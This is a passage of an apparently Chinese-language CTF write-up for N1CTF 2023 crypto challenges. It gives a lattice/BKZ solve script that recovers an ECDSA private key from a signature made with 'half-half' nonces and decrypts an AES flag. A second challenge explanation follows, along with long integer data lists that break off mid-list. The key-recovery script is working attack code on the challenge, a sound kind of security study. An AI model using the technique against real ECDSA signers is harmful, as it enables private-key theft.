N1CTF 2023 Writeup by Never Stop Exploiting

WriteUp 9个月前 admin
268 0 0

Crypto

e2W@rmup

Sovled by: tl2cents

详细 wp 更新至博客 https://tl2cents.github.io/
这种形式的 nonce 生成方式来自于 Bitcoin 中一种窃取私钥的后门 ECDSA 签名。详情可以参考这篇论文:the curious case of the half-half bitcoin ecdsa nonces。构造基本格再用 Recentering 优化以下最短向量的长度就能得到私钥。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from hashlib import sha256
import ecdsa
from Crypto.Util.number import *
from Crypto.Cipher import AES

def hhecdsa_to_lattice(msg, sig, recentering = True):
    h = int(sha256(msg).hexdigest(),16)
    hmsb = h >> 128
    curve = ecdsa.NIST256p.generator
    n = curve.order()
    r,s = sig
    A = (2**128 - s * int(inverse_mod(r,n))) % n
    b = (h - 2**128 * s * hmsb) * int(inverse_mod(r,n)) % n
    L = 2**128
    if recentering:
        b = (b + (A + 1) * 2**127) % n
        L = 2**127
    M = [
        [n, 0, 0],
        [A, 1, 0],
        [b, 0, L]
    ]
    return matrix(ZZ, M)

def parse_possible_solutions(L):
    sols = []
    for row in L:
        if row[-1] == 2**127:
            # print("case 1")
            dlsb =  int(-row[0] + 2**127)
            dmsb =  int(row[1] + 2**127)
            d = (dmsb << 128) + dlsb
            sols.append(d)
        elif row[-1] == -2**127:
            # print("case 2")
            dlsb =  int(2**127 - row[0])
            dmsb =  int(2**127 - row[1])
            d = (dmsb << 128) + dlsb
            sols.append(d)
    return sols

s = 98064531907276862129345013436610988187051831712632166876574510656675679745081
r = 9821122129422509893435671316433203251343263825232865092134497361752993786340
cipher = b'\xf3#\xff\x17\xdf\xbb\xc0\xc6v\x1bg\xc7\x8a6\xf2\xdf~\x12\xd8]\xc5\x02Ot\x99\x9f\xf7\xf3\x98\xbc\x045\x08\xfb\xce1@e\xbcg[I\xd1\xbf\xf8\xea\n-'
msg = b'welcome to n1ctf2023!'

sig = (r,s)
M = hhecdsa_to_lattice(msg, sig, True)
# L = M.LLL()
L = M.BKZ(block_size = 25)
# for row in L:
#     print(row)
ds = parse_possible_solutions(L)

d = ds[0]
aes = AES.new(long_to_bytes(int(d)), mode=AES.MODE_ECB)
pt = aes.decrypt(cipher)
print(f'pt = {pt}')

e2D1p

Sovled by: tl2cents, lyciumlee, zjlhhh123, fcy

详细 wp 更新至博客 https://tl2cents.github.io/
基本思路与去年 n1ctf 类似,将所有 mask 转换为比特向量,构建矩阵 ,先求左核空间,再求 LLL reduction(可以直接放在一个拓展格里面计算 LLL),就能得到一系列小的指数 e_i,满足(第一个方程组可以不用显示地加入矩阵 M 中)
$$\sum_{1}^{200} e_i = 0, \ \sum_{1}^{200} e_i \cdot M[i] = \vec 0$$
从而使得
$$\prod c^{e_i} = 0 \mod p $$
将负的指数(取绝对值)和正的指数,分别计算成左值和右值,然后相减即可得到 p 的整数倍,通过多组数据就能求 GCD 恢复出 p 。

之后在 QQ 上计算系列向量
$$(1,0,\cdots,0),  (0,1,\cdots,0), \cdots,  (0,0,\cdots,1)$$
的解,转换到整数环上,就可以逐比特恢复 flag 的值。

Exp
LLL & GCD 求模数 p

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def int2zzvector(num, padlen = 159):
    bitstr = bin(num)[2:].zfill(padlen)
    return vector(ZZ, map(int,bitstr))

messages = [693664659977076429441721581800631821031318210374, 641151780938584517641795955698442398343919851663, 442260876510675762713915571945455628516320686117, 467847046669767750439402201866521436762499792753, 576299596039034185945586660464629214766725406313, 566547807312007176018551275285152923461145482278, 549633812326436187103149800041310071046834922223, 508462643386772575091520684203423214004845153777, 691074111704362749554767168266907444196803512431, 413121753215882872520886371919276517674126791912, 671145625949654123907421975392897238339761791254, 546304114747282685685218544920351984032270537488, 572780653997969762702124793964613415339346752213, 601373795885303211716613191912983946252569198078, 527457235225748871937722141407754625294051177749, 380622950183993088387599684834391000840637381947, 583727318782381432149579486946306795580366829825, 550837922303467803018782253055269311324458561180, 385101366933395181675168212725823770156029740822, 641662384614179293679952446950337274222427848632, 459311266266455563068657153682168201121877184739, 405550971665403620381984645469291222673485137149, 371597133369010596084476169385480058426468392326, 698678234769682576843834712549894054633369207255, 534796953640957148331151803381195637842781992445, 374936326772655449966416360745332041868502670742, 492442184422404030075920988632473787949518169214, 705923038408943019023751711766519191467850943084, 650418249017530986700502965003590412936753741846, 708204894591959628376934066632376225372082446153, 454790589406461321336243672198169513923574702304, 627499866789984935690247339547179386637859636919, 423678557987416507826536874284013955560714100793, 401362357036860382844815149593397237631885352243, 686269123693910379749535722753583335597789391578, 488241406301490152491456279144104185166974642895, 666222682488279761488926584268313831995479860799, 692145649792961796987317716770881441381399293905, 511897367235087351921397820910917375986191141349, 654419167502388442568348117907648494584449757209, 589680762232106721032843012116071294451415244568, 590590207988570475395658679957479087724562211841, 482668740919135498248431363803277605451127673913, 715758814258825393741600549482721735218537228645, 653743257230844443635435315901957203427244538602, 454126548145155528162935266605065682187337810299, 620125593471327015013336402531350089722186042701, 428403095612631556748653400063552923087980336909, 569833218747535301058312386702286604678561696137, 660641067559405073494223266631949683860476028737, 449333369658841632304639977694459512245792175293, 467447064234054616809460782875174319877189366516, 393392269675253413458565105507251914214556082922, 635439223607461693963028922726597992660256892935, 407257940459092553785526240326103877335073498631, 381231448748213440272407453073595931506045861957, 448382519038394202568993190054538810660260113592, 716237629706513272445605077735843513110855433522, 433219862219763639756688352959066818152426999972, 488764960789069735381119865733481770059949823842, 398986758108332939403968410236244001743123162261, 514387803898406220776059914714034818208278780873, 590245583566834300419167731150776966766200770705, 590724033036348394343155963128980442493895457996, 699490998943971192667984537274675479813696863626, 718925420408011036460460010425688434382693330922, 564390207482563741249126161293788463115528495908, 383354015121386408912694746374501038216201495056, 453849425687686366671300434509173848985593265416, 622995416706287005921220058167770841333338488067, 729213479452648274706136621948325451122763373528, 686219967297487467790233668226515789529640521917, 609974347033307852444992427283454955701842212277, 370158844254585266588115081907949361562932018924, 378464020678799135304125444772764971463345133327, 605565552445756697479889302627729048203881636722, 519143635838540994109753692182095612109343297845, 688876612469722395107083285555790977268569381013, 604227078464364754329111819031061370420097739909, 534671596093515272642286709098549719295929965019, 664831166196721835534478130764218724610835587432, 370452484041643991366059890003096580693243995922, 635650390595052286897798989359093265932472510317, 474997911571957583578721446486724673814800511337, 666833277280375729438844251406729792923367638939, 549677870902843766274788153586286518685330579562, 403750218768865885432712671206348197497530306372, 648379532443486089700518395089379649272741585525, 689541532202569673029629405206130534769384927362, 722445024372163982105004106438816891709928448096, 651521702599906693092861908583686837945611996078, 557356404670196377948939713130768356044451243592, 510824624387430888406068855655757852565160753932, 658231530504564057468259235412951310486077867029, 393083779876125914188752133433568000895654711785, 435999179120454174265045299731759216901649861140, 644876922291307264679792353211737278436054622754, 654605478964642677023183414228201689324600422799, 397649662675149197445274635932527578292613189899, 702088771582732231620812257232406557644896851508, 545261333943706593808958565590571598643485929648, 489300803173612208186235448929616939354730274661, 395511266610538604983103943278950553412390523869, 711947679621473737738681582835019422064505766533, 655108057209376186592395422788298419234194200055, 400705920821964978204336301018727145817030829641, 557847732069294650719566682927477464549118697011, 445694155266978761199593911327898648797225408780, 509327506013931501965346606465657512886985426818, 411850960097922418945293054971759769984931215613, 553203005031008690580165150300994966169367896789, 530652527364856475981794090271660534447325397356, 525552708426502254882436208110384887625868992533, 641879452010210304086700323582439256278227536757, 719333107198079092685962949838882921753050646649, 386627758848915223040683304270060201736287203139, 660572447042280200496062468158721459189007179803, 706166201320394154541860241557721395270085123453, 579633541498196490661544008242060825478642451000, 643458562688391496707824299186183154011530826172, 562142686022206934731356187745324382416591655497, 501400657520170516459592165171248744753209682136, 623179140778467841916936315748838474803462205575, 504787712625467688129967338367063834713939025797, 482952924860910284331849841113579512061673276859, 589612419005702787664614495809087275765593515200, 708173051157959302912662792155066683391599037088, 499394787474995103922444359715199061114279267634, 585799668229640216254905145106137698139903275746, 554956455635671309874584189793597316684332723414, 704495380359953118982056288192634660302747228975, 636379585192267210170978906373833897679237710149, 539590219032822751351344838148437910734578598790, 674873985654794234341421832706660211498415988742, 432362243233185725959861560932406943572491068540, 536473431426878157062323693838540671362576717277, 720098895832205294868444431769296835443455760636, 579073281776280740906199562458924597541656581619, 591032880071346881498514455634288291076704788575, 654789159747620000763010802203406259372788031654, 695800436297544355627391558054808814174980859981, 605273358282103759599881268207380518657105655632, 433718513437131134678461889459557119114484188332, 384513276557472375558555525856176556368870671402, 600343354385880278644181099801877472312572076963, 695496659236976726427423916216959888943631989241, 438503333436853133988922986561344630255994011897, 425583123306963978710964324292310291477836005305, 476903564467286403602532752184528609004675223004, 459157576050880954066773204066244310642453599360, 376401850156074190331534780592274518042125807945, 542946159546607081254194786204673920263273355503, 456484229337560874335567189110133777645095163385, 626352224071160336097429749136171060147576844515, 665767035251663764776607094101046606586127905011, 517362006352789655575954568218486403517354554358, 437386355363895799735332485388083032234695880055, 514973814138948886475769447233812559312528612766, 374637417457608036809312199403225256699715449299, 677229378532248986407775002200926658772641937438, 612597502270790552054141926184983093742294240069, 431202153828443848949034172654336515755953360105, 622258420899328481789159816535244650713851409293, 618164531021337774672583713954837010690689891975, 513006116907472830120587422699103491498026309133, 555490800950103459194334700707609775850979114865, 704107402534458090132604172739864873726067936161, 690124474957543394281783383866874758144804934007, 472003742277692896073172902648253923981970876514, 635778201676533793375618948558377860181120127094, 611397339934029358865719127411045379740178725128, 576853757049166344546205037719216850371659181706, 408800247021189853377167765805326049327289045993, 729972203090847385745874125707239019582657799980, 525070335256752275837973097539994838060573958877, 411651947363914921986894114762917126749374581231, 519881958261166355010001443948648454218821743842, 573673363481273132247997212479938027609914135108, 493337841572344267307690944171025803909991475790, 617022485264784179620793403861546701423406249938, 525276740282898665434355035125257355830169089057, 680364968656971377813138970950094887958834675303, 504113398809310055995463656972855134024508066403, 465230311414519992240700301605280432857184968020, 720105585854687931310125801670114637584488449678, 668566443891585965518771441393436345329726160143, 580638719984977907256606511678781988397408113575, 697116677830535781701823672224529182422159485954, 640500255323132969623638079044946746254179278138, 658010946200053561403704734852272215619688495637, 718587383921960186228563517703837540604785215716, 433682677761338254004494392849033049058996864418, 475977381288578995417794556437438171639072049493, 412602197708386261331557922762709486995912847552, 682569317224227964165295123361310108054530143437, 425901573874339622630320602490984143376337673005, 722861770527687134345857669333452992788818127442, 682616408191071307473294670590693815960428150376, 696328074485185099123217149377310905174615036228, 455731197482160380784380578906107173308643405028]
enc = [12802431364130645112998386130428005769825107729037697939666001936018624382634102608929729844155359874429890877171241333037279356074151441218381792849257989, 15841931479507910988248305805319960918896666038593569669890009249261359553758127922930494463797629341571426279716572950430532882454202020690026575100177987, 1221898424695532993342738372629546326869084739337065847979484862871978525211953284669644380344082740417474903844644139598107160119553596635470934138036958, 7485441539351227382830427169292005068374766431980627537104803552768432200018282712200763340103759680330985996358783490150871002540761468210506816175401778, 16490427834560779793720496520742149393153032499433215465759099190321694661330124963046121764909345746761779082834462165062018294625890490453836371924613349, 8031625224539527792473708158284785450887152304616884645587504755453928923882770330478061935031851311110848687638036202616335897665362259462603738040684685, 21756436953082356215056741790811013055528330688107471832901006551691682144488287700074435883882759471935216610848090962450531710784608415077031354467481505, 16694267994493152858810276818794756596905889041056847640833399667145180705382746495819004966769911134724566851591603916593611379778119582337187183523369719, 17261909191553914970864431404011635960299019745416311091885553985601039670349345236976867786250811924029125718357264223633200369953175226035173539996554177, 15147461734657135244308111183088252763050417076381443297013089869439583946836743564527129545847648293974780065041378941819082971187483900208985626071887723, 17037081810085070818713345968014617123788910212134025649820174018138425756879891322480370833851145576915999085329155670879431668842783161461771833127520551, 18394793488209799974692802626463695468214671742172206745555436605308904510867809441758699152472391396856293860451374390965229770407357496371519550823208165, 3873238795226279190871777484033249322417236520806723411587583375967314077366815823280638353734552822341146930305057073777955318019184349391849377137564083, 4120648555903242796182853816950546229318366442366051570952003666874980963983152868274735544580542053549951286757083509993285559829361259065334961526796054, 19499727546856392106032124857778338216108062102479779485494249157365912695532105834514239304166776475129721621905859085104767085115683985674244706527050959, 14446880999602357984725861828648389471997566654666984259173920255505914785710209681691782226471221321629899315949050874936976350968237444699706608768887375, 18822381743745716420992275055759822079007667188210040556421450325623865572413713065933957625809266131682092455143571538548880294440467397273141132102598234, 2078993667892636464889910489744040237030609908973999120480344928269019879035285877464379035875800543345822320420985581634014463538438224837261763861586677, 15275755178335032885417760216978828856709120238851548322123314773428069056299549395836869484947879782196020696529458333227629420100865680232982016719046091, 17893925081980092265297049830976436089002895796412083353410656875394835907232213625928698145323254845306125237252332149738887731521773631920155902038840860, 10138286435644961911566653106217650561417998466723794129832123510577708817875722230498244219533540776776478784395392571967301144701954892087255342537154300, 23781898287838801909708558120564370028836358940960071960363431359965656683655555820742071080617655585885544001833186806047872602158806389618424590912169885, 14618829488237452071771111368599368239253058711463829694295880720667209162354083218730170563000389265754138038718099139060343875226210060541819770671248124, 10712086881982643953429542224834368987351550849327471346794965965224403452624660810825982342304599584482720958091163971530609537903235371699644617285750762, 21356875515893845401176571478662130073136777267077873593314796593580271733075908762896359463536562357281340090179236626447788553152256145393820118871774730, 3830637517539282448885291272661611495422186049253711731984076851102467298051214080106742001679228702909263732721276994310474957428746129767219592551567181, 10333558401870114095537756884943206076891212848493125699491519015251928231789362919640661587973190735520950701755905671000926396917379477660013162458218943, 23736432549415238131963606477938519282268147218094644471727959695815042704074586776170303423567364026452302155789029476244161284822561225614020906663667619, 4644035995563829644939494587724565628305992281984495580301269917240849605484280970351133520632655566843288588417952863093674362092942131667871124985212949, 9642416297776960541135321962175444366098216979471685942298188175551752825175491457074346957995345004017102896503988201998943745062204770110761727494371574, 8335281213946275046746666813951128380084042101516669166231507116865049894281067976273808411588391391707025179256087366105062726452523556116606195336452882, 6530482653620093114082077034469049556274883561754077279775967229401023691502197712280297610361000195954087770586736553875743993339035147162150152353163663, 7150257780223505586060206132524943680043121512964630575634713073163634197101527587710840221581931193246376858435843192145530408854242421895304370936143902, 1254304665313866561226799266014735121771402903769064851833306395653682476616235958281360569340510646325819562076484318689539404100396647203891379810634552, 11601359684712978218675279426020451533292101801458488280053551808996493318302131299838753355871218633429176093749706552699172145683740134299400277843087952, 2700268593567907930265525751728407104875489061254260830711986575931937613921970948483079251747123468537195847939302891888911014935339737073186860899524234, 4080942317301967246869353485589617962551375685385196685050993136896262140906796490082447944250346337882888740872592717913339560790911023823533568928551720, 10234615262823560674392728188914569214149481624446413098803831353379508760432524271220726391202917405644902199462785274073427297698683339311211359142656818, 1125945224176025006936418171699674663992407710510497313495825994942895059437070310257916189827215007718021447945978872379864023384952129696506282120224233, 19914951263263531260306740780816159802017584854654281115511082220749163406629807575948156272065625770694237040881326533300003713510971032393055223554165327, 7686726590737660417714025911090741352758643280869745623382180579882049157234662436338789973680009711192460669573563363766062491130800150339511278803498162, 2812310951817903373614255128398787904857476465006239956594366687664880218698741393086998222807296075696952927611888322818057008597991854866726461128969468, 20887882693699664364144618888765816850883562077448268683230920432311999372756485724085587262647860072442748746222954721130293038123612804878687752631794955, 8690569862192462441987449277068927883527910593838503637825344354427820529433735737673215111082490181126283902726715562302819442682675682691713550146809217, 2413131813103467343020477456052518926268983422512279452901211002270260929616020781942952836584010050874483495134937518017096754313775874974673309589212876, 17653193398815101469433909955381528195689636963827968889973646235658572329644007341130442643570429711525946608851822368357115422210481444362996301489761638, 6126402475217327038147046836526705820129689848988279077018693131470204399611580729268939693042421835117198568308235394530366160585670735969006141874087909, 1361128666525231933315783415492733304459600468449681095296110523330036541473721059694239647835933188805769164168350436537797909619517809347947578299834983, 15059407696531860261952862222724919338641403367712593611042260353451344687572443853334492364170670497671440836801221481423750482195869015424093446365401226, 10976713473563499337776465336779692130223005233236840678969170258376260575574769161313777913504720809132003763107716283743214929193579365425796564276946842, 11081947374550148771282567948895442662527812634988105558098435841637076648810409871700246514369718493393011927927896713735208402422091488333353341830845464, 6937198964762673854714880614936119073380436631653258537726983808732793164460020088337426980235314018386009206843995652007995993886949759445935984520426539, 23389436516453522925794907098599734607803553657584285436830698552652531819039549799140706776065354424342390054062290701956377826946910420682660811844476129, 17681559952037923756588828627481395634387669809040100468770525411545819720405926885099001853903627519432633395220855310191015387668249237043108683624945936, 19614092552109487507881840761377121780556234988890288606954923573701039036649780798533055485769039166458390594626929311506826522581195035097443799958981462, 1969965423585002617581019079843930914841409141501759384153688329005895508778123109121569656204271335979256631800250883492440478893638235640486379641341912, 2320923515332921135233329152869590220217977189131802760938423056312256802414245040014586118704088521816385659167639539616620317219266139758755680389006096, 17588004628122309296502610689295481708628562809392740841475764115512024952166181872316436923110831668361652058782925551182843530678115797978222760736666238, 12276911584609786052605903287623189473659209191837581228725403180663097102369721625414426709207293565309436614221981004214660151597244816606366512436603888, 11842566505821585287077172058891087801957095353557583275131878603953034079741151606263803208531091675339528593876833418868838816231200398213922261755166290, 1529596015817286204813206622226632913633158454747501387562331999390003712898118774683119943186889618312684844589218376383467709327323537925085589998117988, 10407127648219250304234420960923103591893079931323394353041341104068061256527815372998465666344176169496459397660199997700931290482945461727586654384188475, 12171839625174918652312185222121279277195150383989436291554667164031685168931563853344009947267982107162026619478996825264436432030561510880790809782870351, 9764846242816439267073338733640602642651188560762231729157851945292183051726838055701392030891393483535364065616457809689410888561279266106291619680997067, 24658652616381776966922721580692944866579555389558010553451463891512715368629193251598921893266732381995084521634182137772594546931592451091510312965529989, 18034671156460777354633486748746132390108720362883751341057710983742216633273553626788057023427030477202576860607085773904695785543922033356257561565761190, 23514883843662384605893754228693669366276629260863879585064019209013254994198481202557815240083982686887723599123715229423738535849049285941081931771684814, 1747520357080615389460274312326696265928969442628712562895485798186997358245763882095801440755637276066287112856047762018183151862865466044100655995926117, 17036192714815443263146107422613378466942940398030917971809438253761056066228199268473758362808733907603866351804210736806923875908009267954251577567876891, 8817273795729670470709896558862743020850509015701684718109791967677483616209913512463947182376413295776696406422262674467676066410818249213233389876461237, 21740211273844298343085907957015919209873637486354367208984207893341477067421726282587915968531749527156839276940169986152223301104340781071943695244086371, 11844651794657896961806050065760722017412193238300504289774096849572596825834213680754275335384541420223939946615132838613007551214018906789525441147774669, 8129749889785159012980609231084214491054172675665615832171131797248695468856517932072550203894799333191680714979859939331296398887109145705970250901691896, 11695284185972004767472101667638230329606628357864644991939913811582990258656052774672752760244856918169125862249098558929134220119600821960804176908283611, 16314933840668305067461376335742247877580287785696269486180016909389236067647558779841089316267290705566054884817418790096108734282582335310368205182363957, 18606516085817577620926634775282398789301479338855515729104575654484819850511053504766428883184656358892632923083331579007785683669057343704956281433875606, 3226150489196877576351264295039169829417188655970560589526256179314299314145087894973100049887558692376014757485426095296358822466156239623460874472154966, 19534989012686390559891716527215262191308727009738449630371047418888859350414586095948946196286861685205849121365741388675867221686675375417838854083657052, 24208375116930230353845019032990098217492613704921535889510987019902385179521710254544675658322149432204071218047418025005499788467251625135521738977377160, 1763062804940690513237191855264315623380667406594406642817481156255487289320165404463687386134054563370482755737128663506704736832153569316847754069405584, 13477110168666248725923505351231751857689496110710619206192460756250248270839808210569058599946511767951523997839847060309035478535589716215322228543904251, 5624620622885539600338670460553458005264154040857656868841669752657863883303657466453665936750842733219239568523671917836966979774581561292319305772461192, 19064441976314148901764282789344170798883594556597975920757024834294159793812419109503148362960949146618490344245176605188340780604280934344521436102814749, 22070871235776504435913068366559174507765849576931611448352363340153471058785679647442872769642429292617699970917473531474618167614029594959057685575495379, 23370054776122376779925074705492246721746545483631232351290602993951341910464937566067282775445803424574510374029656646144623209538913563958329684792553142, 14244662604510763885444101260115085023561049241222635764349530977744660515106866164932118064850021891115535386537093113037624420423858928676744563446211415, 5841733857714297347219990884181013382713368982889830599095635752590860646998491504554598394017790519925310705594593191603791211162861358312358526132943252, 9454574014996505451231441149671419862568230574743571287883480388931232389984080516166289920548971970608649472577881022089115994467795263288420060626161978, 12025550601795597290545078739303305876747558748984721592357751821443390583303181175562052016631122081436858995571970324794600999776957629693395175748856429, 3309704373687045096987897327419000026776603992083428068492847000969082995309863192943886104513564868487085916127011224987932860891429100829662502681931329, 4126559406681147927859776019048977946029184376356634959604923270848265559783017634131367404003858616331072576859854123506386543046642426290990700837549742, 6590240198074082039879588369134793297702025696892876376250529508121208790634960410462619718095172857033286526044615435192886345833234336697820942136514354, 10838195866701247623418285573964343559784514114170440567275051025443328217966578453459462162524285127459554292533128256876474230951282912394977241207332359, 1657433158026975711712737761749081514673496426523940089579710565508243620737248951061950302655495961584442216993881832603658465573648757337008028738960018, 2739064754353892787493554343216893846377165157672312029043253005117404976439042722855706057398905854228429606569964362640662381138755237643589473131551418, 21172215884938268043411370585184527518014458716794671161126867851250094829334241781195535750323787216910901085180593906605438912332975622019565766193125878, 16159716548897693375554748797256891319931268523891519254489722072480590140253118173522150323767310657959800584719691319940024179874929995865674021993091540, 20250520134850640112115308560262332612070366086610795246395238530938233342059051193158083184052196493610497896152779577023739774579330327865497664687874010, 24812962305556048839067391806837149348700619263727304765352910849500886514806114753649847608472424693741123244517125547165365925347647206011022269420461251, 7393081665086988681362638024072789041848367519937012907912550836672067108109063408149251420765103964012038491139817753573053447579333266044813279469144944, 8993969975239015578387410833135455294237497078869801288389929971408445752945649904224911721056675439481701605126696094427870322455350177646318049858772216, 24108681250269405150153741128745963533778600907659887826089346204751510147001111720476973529351720161364370633914934038834648739963431983106507221608105071, 17230554578959854421955355069881828896735934620878042494142200550697417194318742283031647309890174129928211994892878809445435227626495020516322965419812680, 14185443515874763106601396273883329813077277068745133129803834767576095065155245404985391354848493575886016733471182945429867346944403492319423488175487464, 9051684348164242937984157010446996237177025178044858752789108951563454432114309081490680880143188933202537701647187989270080696291695027202031114965504465, 15968644604452324093316323003253501274138419445724525454279030439452704415557621688500911691411401621629566881021571525248375387214578029947839833403006684, 16209131277806518314040740815655681115008312473463041932471505874478456556806055124972010544702515371917055994711254920209521821739238442778606242595689136, 14267451374230545872133460219037824530628846855683835187862297779661446038199929435385555110855969683622859538335789338954156580111583149459446787930846201, 23790336084251908928403238066046481908602096415990504166293872338092719230524342734539924012164569225788355119046346387321121130686830027124362025783463477, 21345234479026082149298106192127440977918090426774140705788242552669067157980544072266728883118765227703221162553462368133460470045349179753160971039094200, 9305127848529933694787026320831737395075573847763715753225101066114433780988250329990887614584957373494686049724019878162879332112961806593149488344546215, 13842046255087557926406164968912459332329325359004163688284202096665051971905148063300580673777285901342794578086480674762923634751266380032184312519548373, 22927421582905354003438719232393269012752635264592813004697824352110193126888760005373391702574759851903178363003394606055637835560272815362392783666511931, 23666494627444662087603328016048247849971327006880350229129531990464095777421407489395875036160933091855635536829926502298481793502040901088565481619066614, 6931511897435916229199231394935413627759479266461117934549644719780030790378740958467642473455461452829619376274452980198157297854824972520346709708100360, 24555249832727281025314532419181706720577546097037365645201904083198639727267669096091035808959490255144065150418326186063938996057663502541714586097361344, 1664097221650307863216140243177799990793785791808088230836822966491481115306184052602669419603060064720775759267177846297541075547557655346584835791978623, 10385701732358699575525681464177756584452751570741415381005081100372844616353810632260049905532228008819382207426817347174214630601238914041050606268384535, 19811109989872751363812468058009318171037607926334987005725092234755635747473836116182682798385978991335210859739079762916443624642218520685915728721427279, 24686173673215959951693708105644815416729869793502070002725937288833838058791784277609006544654203724891001415323092506652863087293477003935804296212537757, 4464571027847916541453093798431797623276257071722540821886225614102719840795331474986494793553517596773693152755645622387218885351980348025724452528043481, 20529060187083072085144382682688430291536724394170108235471190686666162701889071059664969210959080015862866309115158763820927328840900703747200681108940698, 10196352115221716967545879161215742024314632108421777683533640781128869500968439480722768182459652703944307390531824891898249359470211528086701729051536035, 17075979517113408674799265351449042018326593738341805865814246800054039350741169487898589541954225492144559694371395909019451872532953716956348203460188664, 8729312652402643991680156396577031631642045055801337031264815922017287160087927618794335512517845630003033385738334601568490445068052291995372269029264312, 18815416831192714208010452521277703614783383182936408564329378951294172995260437272675494793572596924301362800575616466225382089201089386708138005923488820, 9601057668526877155386403235142590275448939487805305657688602383259372748680150489385791799864009699200686312964549630814608767441426930176574637164172338, 24869598836011530151141929593666158251123597039772319201075561172631966715408923659188348433472168344815037722956532532354889485498638323613921381448893216, 5909951884305530036902098907697774580818474819173299165535478446009286447878979168139115500554123770810141869458826760573389985915957048274079373810978418, 11371251917603094933160774161669447215817045003071558412329882897191943409033448913400498524347992888232351709628705176689108831194690704074092176780938897, 551785620532509852643950129716155581783681586172243143964645401360176082986662742714915946522713862053951803679993581672949497548830540173323515114257474, 5451096750683883126256346729981696741947096539573638544818573800787385002596401510067958743559691552970642317993613653281724363562305142935841454998639523, 17123920028121678335638297328605772708344520673581531559964483325267837828507553881521259866583948335654168242931809985011250636123496953227284761874011265, 7874523196293154389935682128883780886675576168409698448649545633352544309389693386666016314218665927868179109693388811490206823864527216673266238964970897, 23649065270512587392574754158723920638331966781166536410420979439668405474440672814799264262228547112176020068381847686523573884407941899054814599233261164, 24190031687673495347838406683475206994924260431258986610598537416225564244807449968419903989962585058789476275433445564290248486242387816608688871236973528, 13605998663626606954484321600177761063010656143576713116692506645508407493690591666021676729568099510170655315280476509103012875735370890671513263255764671, 16571553211334132895793416809789965262122400989077697003250533948433467354398963089553253989416870000543019464536933138723858366219874623115814641108662188, 9826640183995099837472540428686687456215964233823201273519452572229151835593129774903437988612794076982559008486399715520871375380950033218257088198898698, 1905044234624066879727261938968902529486358885313965708003760389017540141309830338474826711391994992129372747501284279021906217162777292479084599062665129, 12188221789553949580075515688892990014269270562072575922461826680352220391856431272216820004268121858028515271829940614853812453749528956021976390985897806, 15563042329589083597904437386924162667321087802050823417598451968963544078806857451868426729273097548188899555576765472424214756797430989962757570674652868, 18433220039257868742885516207269963381685282645339909641430675485503508409367458940114127842165557398472175510511780868970179022389043487101407516560125569, 11411951786693646929690853907051923593889441404105225945834051543686056581198629329107009399445292958496416683548700022213101789529633991030079960038393328, 14275382278224163040764578924093505439842946766825794705667598992919824407980132381313336434900435234445385604968838234542220362352992877383900260614711743, 7791671412509615737028145209394955250240813590804569452204678722198419102394519093932438053812603849378646597771436948597899334381694514286418697582174740, 20834835144817880335846051447242933162241244015011411408218182181432485847095586500030044137552653695021960255872962521476918031022541730595717283784814440, 12592718228501991540699125036468769482682045871135859182376003500227431914697215594570110712821451100229243753846161014661352515039022678333094542691767794, 10112279527032757598472304083330486355272588021164181341150084704436682697582885829400651624410189975320458125395030399398673944658005038362023720256313928, 11983333061418944073002263207483534917298266918037799877092059478422506361914469374167120898889704600289970251808546219908097639560463769258858597173003195, 6519052705523889056711008173953376394552834531935243639326704687591225824107737890744789511960488882361662489129870655486012337556484158376173821625259059, 6288506640560941187182199365728604207278162286235331192853243553079645517191479787255211647533798877007340661544336283995458016845677445960674283371538691, 2097235742927475763627967722850271966822996875892027817874355158239487074748064354705183609740739015880829927504734515955660612173848028137969009137592993, 5492805342348725314539540923214083275242889867612180056704674658241506674463534006264099314906314376486584542769565356248371098081249637137999437387733952, 2934371084707806914315288513277551720782408329370992811034278434108842183178308951648145735318885239509164810159720671982457834638980022674518223202531733, 18684236807129269752691763175972328955211901906567168757253528407713740272852303230251804671981319562425425626825027402176716755310802147833851761790234098, 18415510968188711739818418553724104490486241862302602443849687456493393699626783821495277208837760850509971475323452482867545140964882388053127450574945257, 527057507665412612336596514476043926607938316361814105716509429492918282813356254253160391969345587300398848904582993263418901845588888132460683363647394, 15464618088748223814914277596617125869445005768053281959446532375946253314072378429969360041201161695095335956898429317410440939875691642424385160360332621, 18535673136368940401954784411906084529183200894531677783320114210572951990126374739283597717106537554653749550412465766451656614218055324146165801577997898, 6602347861694341844323078139998165600822103822625553017901700556438426702979892021085138980817031115685010436897705066920817629843161087619325651884841494, 5038184728162810477213923890175581461109894659383219897474939673434396056304913844113351001788872892451611791218230927404950110919483296245215266912036544, 20116466928008546363140122896149075356532805758708154331686449172524730342060145139021190826994917170580612621680205821594497089591778732462627899358510819, 19856067344203744574737420047476046835252886924818574074582426054632538663205990713206123100154834043256321647589186488996253965338599282387348949952452235, 6489169968555497290422187291255665128590625519286630274296777977328572574596942204552469782026829571327504142778545984614412224378360983412702040284873290, 4553780456863427610915884316891768089809046222284839826371646208684075168725343922380654798366743468571290353645511824206694239764312033164870976363593226, 23959066018152767645119851439958735671040513763474387516821433219080273476231641757896723067763708675113323859657587116141364114219119850930618650125129009, 11802654191643700790216297644061907967746158176077248308127562232078484346647736660539949022309498348627204805721593584775422394309013796130700092900938815, 5878417000780331798857557986948960441346454077777322673554492074557738723820678687258340632752903121339534981383754099436716471058805982328132476449941215, 6880685058088923360454978331496372535541661645462067499560473528440802336974353955146677751380306992934684346246375289762689840689886873086589146810253670, 15146619207080728721431458393485078963816476244333097953347229639115792867741651752502450634986215936423898371111845955206352077502413276865026693558237006, 24561722000140158259875681907751882896455273583426085483068435374059719582107181339559714944784457729629630905505829288142673667003135252718347624436999992, 6010611884765225018462632647496238859722174131255561001382929914235844040213056949996415280767936305317356224069768977951698543854166744388967466830014993, 8604205503844497975382087491471261691500399179059828399299104296451588437548671975425809986346145749171661080060732418214787755409974796257958457079446169, 17849614355900063808676124131118524997648354206170318621124380526614805924516446357913811050522125018804909585953790699698679819231112783249469477815502583, 6234389585613390991135923692863461447834739229259508233031228485187148629433094293262051827315840441484915246883666958651829552776346022719552733639725859, 7182121509006557499447407077345122412252018433797810895029451443225148321291242333489049265373361789052227738364702526754237606296484295417138966575888620, 